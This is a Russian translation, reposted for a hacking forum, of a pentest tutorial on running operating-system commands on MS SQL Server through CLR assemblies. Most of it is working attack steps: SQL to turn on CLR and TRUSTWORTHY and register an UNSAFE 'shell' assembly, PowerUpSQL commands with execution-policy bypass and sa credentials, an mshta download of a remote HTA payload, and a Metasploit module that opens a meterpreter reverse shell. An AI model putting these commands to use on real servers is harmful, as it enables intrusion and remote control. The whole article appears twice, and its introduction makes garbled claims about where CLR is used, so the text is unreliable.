В этой статье мы узнаем все о функциональных возможностях CLR, предоставляемых Microsoft, и о том, как мы можем использовать это в своем арсенале.
Что такое интеграция Common Language Runtime ?
Common Language Runtime - это функция, предоставляемая Microsoft как часть их операционных систем Windows, которая позволяет запускать программное обеспечение, совместимое с .NET Framework. Эта среда выполнения отвечает за реализацию программ .NET, включая скомпилированные страницы ASP.NET и приложения Mono. Она используется .NET Framework и ядром Windows, а также другими операционными системами, такими как Java ME, Apache Harmony и Android. Обычно это считается более стабильной и полнофункциональной альтернативой виртуальной машине Java (JVM). Она также управляет средой выполнения кода для операционных систем Microsoft.
Эти управляемые коды компилируются и в дальнейшем используются подразделениями. Эти юниты называются сборками. Эти сборки содержат загрузку файлов DLL или EXE. EXE-файлы могут выполняться сами по себе, тогда как файлы DLL должны размещаться в приложении. При правильном управлении эти файлы DLL также могут быть принудительно применены сервером MS-SQL.
CLR получает скомпилированные приложения или сборки из разных процессов посредством загрузки сборки, а затем выполняет их в изолированной среде выполнения, чтобы гарантировать их безопасность и целостность. С помощью CLR вы можете писать хранимые процедуры, пользовательские функции, пользовательские типы и т. д.
Надежная собственность базы данных
Свойство надежной базы данных помогает определить, полагается ли сервер SQL на базу данных или нет. При работе с CRL будет много случаев, когда специальные команды или процедуры сочтут жизненно важным иметь определенные привилегии. Такая лицензия необходима для защиты базы данных от вредоносных сценариев. Многие свойства могут использоваться на серверах Windows и SQL-серверах, чтобы определить, является ли база данных надежной. Свойства должны быть установлены соответствующим образом, чтобы позволить SQL-серверу функционировать. Один из способов сделать это - добавить команду trust на обоих серверах.
Недостатком надежного свойства может быть то, что оно может занимать такие ресурсы, как память, что может вызвать проблемы с производительностью в определенных сценариях. По этой причине лучше не слишком полагаться на эти типы свойств при разработке приложений или моделей данных. Однако они полезны при использовании с другими методами, такими как подписка на события или системы на основе агентов, в тестовой среде, где потребление ресурсов не имеет большого значения и производительность тоже не важна.
Включение интеграции CLR с графическим интерфейсом
Чтобы включить надежную функцию вручную, щелкните правой кнопкой мыши имя сервера. Появится раскрывающееся меню. В указанном меню выберите параметр Facets, как показано на изображении ниже:
После того, как вы нажмете на опцию Facets, откроется диалоговое окно Facets. В этом диалоговом окне откройте раскрывающееся меню Facet и выберите параметр Surface Area Configuration из этого раскрывающегося меню, как показано на изображении ниже:
После выбора конфигурации Surface Area измените значение ClrIntegrationEnabled на true с false. Это значение можно изменить в свойствах Facets, как вы можете видеть на изображении ниже:
Проверка и включение надежности
После включения CLR перейдите на сserver>Databases>System Databases>msdb. Щелкните правой кнопкой мыши на msdb. Появится выпадающее меню. В этом меню выберите параметр "Свойства", как показано на рисунке ниже:
После того, как вы нажмете на опцию "Свойства", откроется диалоговое окно. На левой вкладке выберите параметры. На правой панели вы можете увидеть объект, заслуживающий доверия. Здесь вы можете изменить его значение с false на true, чтобы включить его. Подобное показано на изображении ниже:
Чтобы включить надежность из интерфейса командной строки, откройте окно запроса msdb и введите следующий запрос:
ALTER DATABASE [msdb] SET TRUSTWORTHY ON
Выполнение вышеуказанного запроса позволит получить то что нам нужно.
Использование сборки CLR
Создание файла DLL
Теперь, когда мы разобрались в использовании сборки и надежности CLR, а также в их отношениях друг с другом. Итак, теперь мы будем использовать его в полной мере. Мы знаем, что CLR выполняет файлы DLL; поэтому мы создадим файл DLL с помощью Visual Studio.
Создание DLL с помощью Visual Studio; откройте Visual Studio и выберите опцию Create a new project, как показано на изображении ниже:
Откроется новая панель, и здесь выберите "Библиотека классов" (платформа .NET), а затем нажмите кнопку "Далее", как показано на изображении ниже:
Откроется новое окно. В этом окне дайте вашему проекту имя и местоположение, а затем нажмите кнопку "Создать", как показано на изображении ниже:
Следуя вышеуказанным шагам, вы создадите новый проект и добавите необходимый код. Код, который мы использовали, можно найти здесь https://www.netspi.com/blog/technical/adversary-simulation/attacking-sql-server-clr-assemblies/. Теперь в строке меню щелкните меню "Сборка", как показано на картинке ниже:
В раскрывающемся меню "Сборка" выберите вариант "Сборка решения", как показано на изображении ниже:
Как вы можете видеть на картинке ниже, теперь ваш файл DLL создан должным образом. Теперь, когда у нас есть файл DLL, мы можем использовать CLR с помощью этого файла DLL.
Импортиртирование DLL CLR в SQL Server через графический интерфейс
Давайте найдем применение этому DLL-файлу. Перейдите на server>Databases>System Databases>msdb>Programmability и в разделе "Программируемость" будет опция "Сборки". Щелкните правой кнопкой мыши указанный параметр и выберите в раскрывающемся меню "Новая сборка", как показано на картинке ниже:
После выполнения вышеуказанных шагов откроется диалоговое окно. В диалоговом окне установите для параметра Permission значение Unrestricted и укажите путь к вашему файлу DLL, а затем, наконец, нажмите кнопку OK, как показано на картинке ниже:
Вышеупомянутые шаги создали сборку с вашим файлом DLL. Вы можете увидеть это, перейдя в server> Databases> system Databses> msdb> Progammibility> Assemblies> * DLL File *. То же самое показано на картинке ниже:
Чтобы выполнить этот файл DLL, выполните следующий запрос:
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [shell].[StoredProcedures].[cmd_exec];
GO
С помощью приведенного выше запроса выполняется файл DLL. И теперь вы можете запускать любую команду как запрос:
cmd_exec 'whoami'
Как вы можете видеть на картинке выше, команда выполняется, и вы можете увидеть результат команды на панели.
Метод, который мы только что изучили, был ручным. Давайте теперь узнаем, как мы можем сделать то же самое с помощью командной строки. Но сначала мы должны удалить сборку и процедуру, чтобы начать заново, для этого введите:
DROP PROCEDURE cmd_exec
DROP ASSEMBLY shell
Импортирт DLL CLR в SQL Server через интерфейс командной строки
Мы также можем использовать CLR, используя различные запросы через командную строку. Во-первых, позвольте получить доступ к базе данных, используя следующий запрос:
use msdb
После того, как мы получили доступ к базе данных, теперь нам нужно включить интеграцию CLR и для этого типа:
EXEC sp_configure 'clr enabled', 1;
RECONFIGURE
GO
Теперь, чтобы подтвердить, была ли включена интеграция CLR с помощью указанной выше команды, используйте следующий запрос:
SELECT * FROM sys.configuration WHERE name = 'clr enabled'
На изображении выше вы можете видеть, что значение конфигурации равно 1. Это означает, что наша интеграция с CLR включена.
Двигаясь дальше, мы должны включить свойство trustworthy. Итак, для этого введите:
ALTER DATABASE msdb SET TRUSTWORTHY ON
Чтобы проверить, была ли наша команда успешно выполнена, используйте следующий запрос:
select name, is_trustworthy_on from sys.databases
На картинке выше вы можете видеть, что значение trustworthy равно 1 для базы данных msdb. Это означает, что указанное свойство успешно включено.
У нас уже есть DLL-файл с именем shell, который мы создали ранее с помощью Visual Studio. Вы можете найти этот файл во временной папке.
Теперь давайте воспользуемся этим DLL-файлом и создадим сборку с помощью следующих команд:
CREATE ASSEMBLY shell
FROM 'c:\temp\shell.dll'
WITH PERMISION_SET = UNSAFE;
Наш следующий шаг - создать процедуру, и мы сделаем это с помощью следующей команды:
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [shell].[StoredProcedures].[cmd_exec];
GO
После успешного выполнения вышеуказанных команд вы можете выполнить любую команду, например:
cmd_exec 'whoami'
И как вы можете видеть на картинке выше, у нас есть результат нашей команды.
PowerUpSQL (Руководство)
Когда дело доходит до использования SQL-серверов, PowerUpSQL - лучший сторонний инструмент. Этот инструмент также позволит нам раскрыть потенциал среды CLR через файлы DLL. А для этого используйте следующий набор команд:
powershell
powershell -ep bypass
cd .\PowerUpSQL-master\
Import-Moduolle .\PowerUpSQL.ps1
Create-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir c:\temp -Verbose
Команда создаст для вас три файла, то есть .csc, .dll и .txt, как показано на картинке выше. Теперь перейдите во временный каталог и откройте текстовый файл с помощью следующей команды:
type runcmd.txt
Теперь возьмите все содержимое указанного txt-файла, скопируйте его и вставьте в панель запроса SQL, как показано на картинке ниже:
После запуска кода ваш результат появится в разделе вывода, как показано на картинке выше.
PowerUpSQL (удаленно)
Другой метод PowerUpSQL для получения того же результата - удаленный метод. Этот метод полезен, поскольку даже если CLRIntegration отключен, он продолжит работу и включит ее для вас. Команда для этого следующая:
Invoke-SQLOSCmdCLR -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS –Command "whoami" -Verbose
Примечание: эта команда полезна, если у вас есть имя пользователя и пароль базы данных.
Вы также можете увидеть результат в виде сетки, используя следующую команду:
Get-SQLStoredProcedureCLR -Verbose -Instance WIN-P83OS778EQK\SQLEXPRESS -Username sa -Password 'Password@1' | Out-GridView
Metasploit и PowerUpSQL
В этом методе мы объединим инструменты Metasploit и PowerUpSQL, чтобы эффективно использовать их оба для достижения желаемого результата. Для этого откройте Metasploit и введите следующий набор команд:
use exploit/windows/misc/hta_server
set srvhost *localhost*
exploit
Вышеупомянутый эксплойт сгенерирует URL-адрес, как показано на изображении вверху. Скопируйте указанный URL и вставьте его в следующую команду PowerUpSQL:
Invoke-SQLOSCmdCLR -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS –Command "mshta.exe http://192.168.1.2:8080/LTCSUUkWrp6q.hta" -Verbose
После выполнения указанной выше команды у вас будет сеанс meterpreter с сервером, как показано на картинке ниже:
Metasploit
Metasploit - отличный фреймворк, который упрощает всю нашу работу. Чтобы использовать CLR, мы должны сначала включить интеграцию CLR, а затем включить свойство trustworthy database . После этого мы создаем сборку, которая выполняет наш DLL-файл. Все эти многочисленные шаги выполняются с помощью одного эксплойта Metasploit. Чтобы использовать указанный эксплойт, введите следующий набор команд:
use exploit/windows/mssql/mssql_clr_payload
set rhosts 192.168.1.146
set username sa
set password Password@1
set payload windows/x64/meterpreter/reverse_tcp
exploit
И, как вы можете видеть, эта полезная нагрузка выполняет для нас все несколько шагов и даже дает нам сеанс meterpreter. Единственное условие для работы этого эксплойта - знать имя пользователя и пароль.
Ссылка: https://www.netspi.com/blog/technical/adversary-simulation/attacking-sql-server-clr-assemblies/
Заключение
Интеграция со средой CLR подвержена уязвимостям. В большинстве случаев вы обнаружите, что свойство, trustworthy, включено, но если это не так, мы изучили множество методов, позволяющих активировать его, в статье. Это были все методы, с помощью которых можно было использовать интеграцию CLR с использованием файлов DLL, поскольку они позволяет выполнять файлы DLL. Такие методы также помогают проверить сервер MS-SQL на проникновение.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/mssql-for-pentester-command-execution-with-clr-assembly/
Что такое интеграция Common Language Runtime ?
Common Language Runtime - это функция, предоставляемая Microsoft как часть их операционных систем Windows, которая позволяет запускать программное обеспечение, совместимое с .NET Framework. Эта среда выполнения отвечает за реализацию программ .NET, включая скомпилированные страницы ASP.NET и приложения Mono. Она используется .NET Framework и ядром Windows, а также другими операционными системами, такими как Java ME, Apache Harmony и Android. Обычно это считается более стабильной и полнофункциональной альтернативой виртуальной машине Java (JVM). Она также управляет средой выполнения кода для операционных систем Microsoft.
Эти управляемые коды компилируются и в дальнейшем используются подразделениями. Эти юниты называются сборками. Эти сборки содержат загрузку файлов DLL или EXE. EXE-файлы могут выполняться сами по себе, тогда как файлы DLL должны размещаться в приложении. При правильном управлении эти файлы DLL также могут быть принудительно применены сервером MS-SQL.
CLR получает скомпилированные приложения или сборки из разных процессов посредством загрузки сборки, а затем выполняет их в изолированной среде выполнения, чтобы гарантировать их безопасность и целостность. С помощью CLR вы можете писать хранимые процедуры, пользовательские функции, пользовательские типы и т. д.
Надежная собственность базы данных
Свойство надежной базы данных помогает определить, полагается ли сервер SQL на базу данных или нет. При работе с CRL будет много случаев, когда специальные команды или процедуры сочтут жизненно важным иметь определенные привилегии. Такая лицензия необходима для защиты базы данных от вредоносных сценариев. Многие свойства могут использоваться на серверах Windows и SQL-серверах, чтобы определить, является ли база данных надежной. Свойства должны быть установлены соответствующим образом, чтобы позволить SQL-серверу функционировать. Один из способов сделать это - добавить команду trust на обоих серверах.
Недостатком надежного свойства может быть то, что оно может занимать такие ресурсы, как память, что может вызвать проблемы с производительностью в определенных сценариях. По этой причине лучше не слишком полагаться на эти типы свойств при разработке приложений или моделей данных. Однако они полезны при использовании с другими методами, такими как подписка на события или системы на основе агентов, в тестовой среде, где потребление ресурсов не имеет большого значения и производительность тоже не важна.
Включение интеграции CLR с графическим интерфейсом
Чтобы включить надежную функцию вручную, щелкните правой кнопкой мыши имя сервера. Появится раскрывающееся меню. В указанном меню выберите параметр Facets, как показано на изображении ниже:
После того, как вы нажмете на опцию Facets, откроется диалоговое окно Facets. В этом диалоговом окне откройте раскрывающееся меню Facet и выберите параметр Surface Area Configuration из этого раскрывающегося меню, как показано на изображении ниже:
После выбора конфигурации Surface Area измените значение ClrIntegrationEnabled на true с false. Это значение можно изменить в свойствах Facets, как вы можете видеть на изображении ниже:
Проверка и включение надежности
После включения CLR перейдите на сserver>Databases>System Databases>msdb. Щелкните правой кнопкой мыши на msdb. Появится выпадающее меню. В этом меню выберите параметр "Свойства", как показано на рисунке ниже:
После того, как вы нажмете на опцию "Свойства", откроется диалоговое окно. На левой вкладке выберите параметры. На правой панели вы можете увидеть объект, заслуживающий доверия. Здесь вы можете изменить его значение с false на true, чтобы включить его. Подобное показано на изображении ниже:
Чтобы включить надежность из интерфейса командной строки, откройте окно запроса msdb и введите следующий запрос:
ALTER DATABASE [msdb] SET TRUSTWORTHY ON
Выполнение вышеуказанного запроса позволит получить то что нам нужно.
Использование сборки CLR
Создание файла DLL
Теперь, когда мы разобрались в использовании сборки и надежности CLR, а также в их отношениях друг с другом. Итак, теперь мы будем использовать его в полной мере. Мы знаем, что CLR выполняет файлы DLL; поэтому мы создадим файл DLL с помощью Visual Studio.
Создание DLL с помощью Visual Studio; откройте Visual Studio и выберите опцию Create a new project, как показано на изображении ниже:
Откроется новая панель, и здесь выберите "Библиотека классов" (платформа .NET), а затем нажмите кнопку "Далее", как показано на изображении ниже:
Откроется новое окно. В этом окне дайте вашему проекту имя и местоположение, а затем нажмите кнопку "Создать", как показано на изображении ниже:
Следуя вышеуказанным шагам, вы создадите новый проект и добавите необходимый код. Код, который мы использовали, можно найти здесь https://www.netspi.com/blog/technical/adversary-simulation/attacking-sql-server-clr-assemblies/. Теперь в строке меню щелкните меню "Сборка", как показано на картинке ниже:
В раскрывающемся меню "Сборка" выберите вариант "Сборка решения", как показано на изображении ниже:
Как вы можете видеть на картинке ниже, теперь ваш файл DLL создан должным образом. Теперь, когда у нас есть файл DLL, мы можем использовать CLR с помощью этого файла DLL.
Импортиртирование DLL CLR в SQL Server через графический интерфейс
Давайте найдем применение этому DLL-файлу. Перейдите на server>Databases>System Databases>msdb>Programmability и в разделе "Программируемость" будет опция "Сборки". Щелкните правой кнопкой мыши указанный параметр и выберите в раскрывающемся меню "Новая сборка", как показано на картинке ниже:
После выполнения вышеуказанных шагов откроется диалоговое окно. В диалоговом окне установите для параметра Permission значение Unrestricted и укажите путь к вашему файлу DLL, а затем, наконец, нажмите кнопку OK, как показано на картинке ниже:
Вышеупомянутые шаги создали сборку с вашим файлом DLL. Вы можете увидеть это, перейдя в server> Databases> system Databses> msdb> Progammibility> Assemblies> * DLL File *. То же самое показано на картинке ниже:
Чтобы выполнить этот файл DLL, выполните следующий запрос:
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [shell].[StoredProcedures].[cmd_exec];
GO
С помощью приведенного выше запроса выполняется файл DLL. И теперь вы можете запускать любую команду как запрос:
cmd_exec 'whoami'
Как вы можете видеть на картинке выше, команда выполняется, и вы можете увидеть результат команды на панели.
Метод, который мы только что изучили, был ручным. Давайте теперь узнаем, как мы можем сделать то же самое с помощью командной строки. Но сначала мы должны удалить сборку и процедуру, чтобы начать заново, для этого введите:
DROP PROCEDURE cmd_exec
DROP ASSEMBLY shell
Импортирт DLL CLR в SQL Server через интерфейс командной строки
Мы также можем использовать CLR, используя различные запросы через командную строку. Во-первых, позвольте получить доступ к базе данных, используя следующий запрос:
use msdb
После того, как мы получили доступ к базе данных, теперь нам нужно включить интеграцию CLR и для этого типа:
EXEC sp_configure 'clr enabled', 1;
RECONFIGURE
GO
Теперь, чтобы подтвердить, была ли включена интеграция CLR с помощью указанной выше команды, используйте следующий запрос:
SELECT * FROM sys.configuration WHERE name = 'clr enabled'
На изображении выше вы можете видеть, что значение конфигурации равно 1. Это означает, что наша интеграция с CLR включена.
Двигаясь дальше, мы должны включить свойство trustworthy. Итак, для этого введите:
ALTER DATABASE msdb SET TRUSTWORTHY ON
Чтобы проверить, была ли наша команда успешно выполнена, используйте следующий запрос:
select name, is_trustworthy_on from sys.databases
На картинке выше вы можете видеть, что значение trustworthy равно 1 для базы данных msdb. Это означает, что указанное свойство успешно включено.
У нас уже есть DLL-файл с именем shell, который мы создали ранее с помощью Visual Studio. Вы можете найти этот файл во временной папке.
Теперь давайте воспользуемся этим DLL-файлом и создадим сборку с помощью следующих команд:
CREATE ASSEMBLY shell
FROM 'c:\temp\shell.dll'
WITH PERMISION_SET = UNSAFE;
Наш следующий шаг - создать процедуру, и мы сделаем это с помощью следующей команды:
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [shell].[StoredProcedures].[cmd_exec];
GO
После успешного выполнения вышеуказанных команд вы можете выполнить любую команду, например:
cmd_exec 'whoami'
И как вы можете видеть на картинке выше, у нас есть результат нашей команды.
PowerUpSQL (Руководство)
Когда дело доходит до использования SQL-серверов, PowerUpSQL - лучший сторонний инструмент. Этот инструмент также позволит нам раскрыть потенциал среды CLR через файлы DLL. А для этого используйте следующий набор команд:
powershell
powershell -ep bypass
cd .\PowerUpSQL-master\
Import-Moduolle .\PowerUpSQL.ps1
Create-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir c:\temp -Verbose
Команда создаст для вас три файла, то есть .csc, .dll и .txt, как показано на картинке выше. Теперь перейдите во временный каталог и откройте текстовый файл с помощью следующей команды:
type runcmd.txt
Теперь возьмите все содержимое указанного txt-файла, скопируйте его и вставьте в панель запроса SQL, как показано на картинке ниже:
После запуска кода ваш результат появится в разделе вывода, как показано на картинке выше.
PowerUpSQL (удаленно)
Другой метод PowerUpSQL для получения того же результата - удаленный метод. Этот метод полезен, поскольку даже если CLRIntegration отключен, он продолжит работу и включит ее для вас. Команда для этого следующая:
Invoke-SQLOSCmdCLR -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS –Command "whoami" -Verbose
Примечание: эта команда полезна, если у вас есть имя пользователя и пароль базы данных.
Вы также можете увидеть результат в виде сетки, используя следующую команду:
Get-SQLStoredProcedureCLR -Verbose -Instance WIN-P83OS778EQK\SQLEXPRESS -Username sa -Password 'Password@1' | Out-GridView
Metasploit и PowerUpSQL
В этом методе мы объединим инструменты Metasploit и PowerUpSQL, чтобы эффективно использовать их оба для достижения желаемого результата. Для этого откройте Metasploit и введите следующий набор команд:
use exploit/windows/misc/hta_server
set srvhost *localhost*
exploit
Вышеупомянутый эксплойт сгенерирует URL-адрес, как показано на изображении вверху. Скопируйте указанный URL и вставьте его в следующую команду PowerUpSQL:
Invoke-SQLOSCmdCLR -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS –Command "mshta.exe http://192.168.1.2:8080/LTCSUUkWrp6q.hta" -Verbose
После выполнения указанной выше команды у вас будет сеанс meterpreter с сервером, как показано на картинке ниже:
Metasploit
Metasploit - отличный фреймворк, который упрощает всю нашу работу. Чтобы использовать CLR, мы должны сначала включить интеграцию CLR, а затем включить свойство trustworthy database . После этого мы создаем сборку, которая выполняет наш DLL-файл. Все эти многочисленные шаги выполняются с помощью одного эксплойта Metasploit. Чтобы использовать указанный эксплойт, введите следующий набор команд:
use exploit/windows/mssql/mssql_clr_payload
set rhosts 192.168.1.146
set username sa
set password Password@1
set payload windows/x64/meterpreter/reverse_tcp
exploit
И, как вы можете видеть, эта полезная нагрузка выполняет для нас все несколько шагов и даже дает нам сеанс meterpreter. Единственное условие для работы этого эксплойта - знать имя пользователя и пароль.
Ссылка: https://www.netspi.com/blog/technical/adversary-simulation/attacking-sql-server-clr-assemblies/
Заключение
Интеграция со средой CLR подвержена уязвимостям. В большинстве случаев вы обнаружите, что свойство, trustworthy, включено, но если это не так, мы изучили множество методов, позволяющих активировать его, в статье. Это были все методы, с помощью которых можно было использовать интеграцию CLR с использованием файлов DLL, поскольку они позволяет выполнять файлы DLL. Такие методы также помогают проверить сервер MS-SQL на проникновение.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/mssql-for-pentester-command-execution-with-clr-assembly/